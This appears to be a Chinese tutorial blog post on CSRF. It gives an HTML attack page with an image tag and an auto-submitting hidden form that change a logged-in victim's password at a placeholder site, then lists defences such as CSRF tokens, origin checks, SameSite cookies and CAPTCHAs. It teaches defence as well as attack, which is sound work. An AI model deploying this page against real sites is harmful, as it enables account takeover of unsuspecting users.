网络安全:发起一次CSRF攻击!

一、如何发起一次CSRF攻击

1、目标网站信息:

接口地址:https://victim.com/change-password
请求类型:get/post
接受参数:password

2、编写一个网页

html 复制代码
<!DOCTYPE html>
<html>
	<body>
		<!-- GET类型的CSRF -->
		<img src="https://victim.com/change-password?password=vme50">
		<!-- POST类型的CSRF -->
		 <form action="https://victim.com/change-password" method=POST>
		    <input type="hidden" name="password" value="vme50" />
		</form>
		<script> document.forms[0].submit(); </script> 
	</body>
</html>

3、诱导用户打开我们的网页

用户在已经登录了https://victim.com这个网站的情况下打开我们的网站,代码会自动发起网络请求,将受害者的账号密码修改为我们设置的值

二、防护策略

1、使用 CSRF Token(推荐):

在每个表单提交或敏感操作中包含一个随机生成的 CSRF Token,并将其与用户的会话关联起来。

服务器在接收到请求时验证 CSRF Token 的有效性,如果不匹配,则拒绝请求。

这样可以防止攻击者伪造请求,因为攻击者无法获取有效的 CSRF Token。

2、同源检测:

① 验证请求头:在服务器端验证请求头中的 Referer 字段或 Origin 字段,确保请求来自合法的源

② 验证域名:在服务器端对请求进行同源检测,只接受来自同一域名下的请求

③ 对在本域发起的攻击无效

将敏感的 Cookie 设置为 SameSite 属性为 Strict 或 Lax,限制其在跨站点请求中的发送,从而减少 CSRF 攻击的风险。

4、二次确认

① 验证码:对于敏感操作,可以要求用户输入验证码进行验证,以确保请求是由真实用户发起的

相关推荐
小春学渗透1 小时前
Day107:代码审计-PHP模型开发篇&MVC层&RCE执行&文件对比法&1day分析&0day验证
开发语言·安全·web安全·php·mvc
落樱坠入星野2 小时前
拿下阿里云之后如何在本地运行镜像进行分析
经验分享·安全·网络安全·阿里云·云计算
iSee8572 小时前
ArcGIS地理空间平台 manager 任意文件读取漏洞复现
安全
超栈2 小时前
HCIP(11)-期中综合实验(BGP、Peer、OSPF、VLAN、IP、Route-Policy)
运维·网络·网络协议·计算机网络·web安全·网络安全·信息与通信
Wh1teR0se2 小时前
XSS漏洞--常用payload及绕过
web安全·网络安全·xss
丶21362 小时前
【鉴权】深入了解 Cookie:Web 开发中的客户端存储小数据
前端·安全·web
_.Switch9 小时前
高级Python自动化运维:容器安全与网络策略的深度解析
运维·网络·python·安全·自动化·devops
JokerSZ.9 小时前
【基于LSM的ELF文件安全模块设计】参考
运维·网络·安全
SafePloy安策9 小时前
软件加密与授权管理:构建安全高效的软件使用体系
安全
芯盾时代9 小时前
数字身份发展趋势前瞻:身份韧性与安全
运维·安全·网络安全·密码学·信息与通信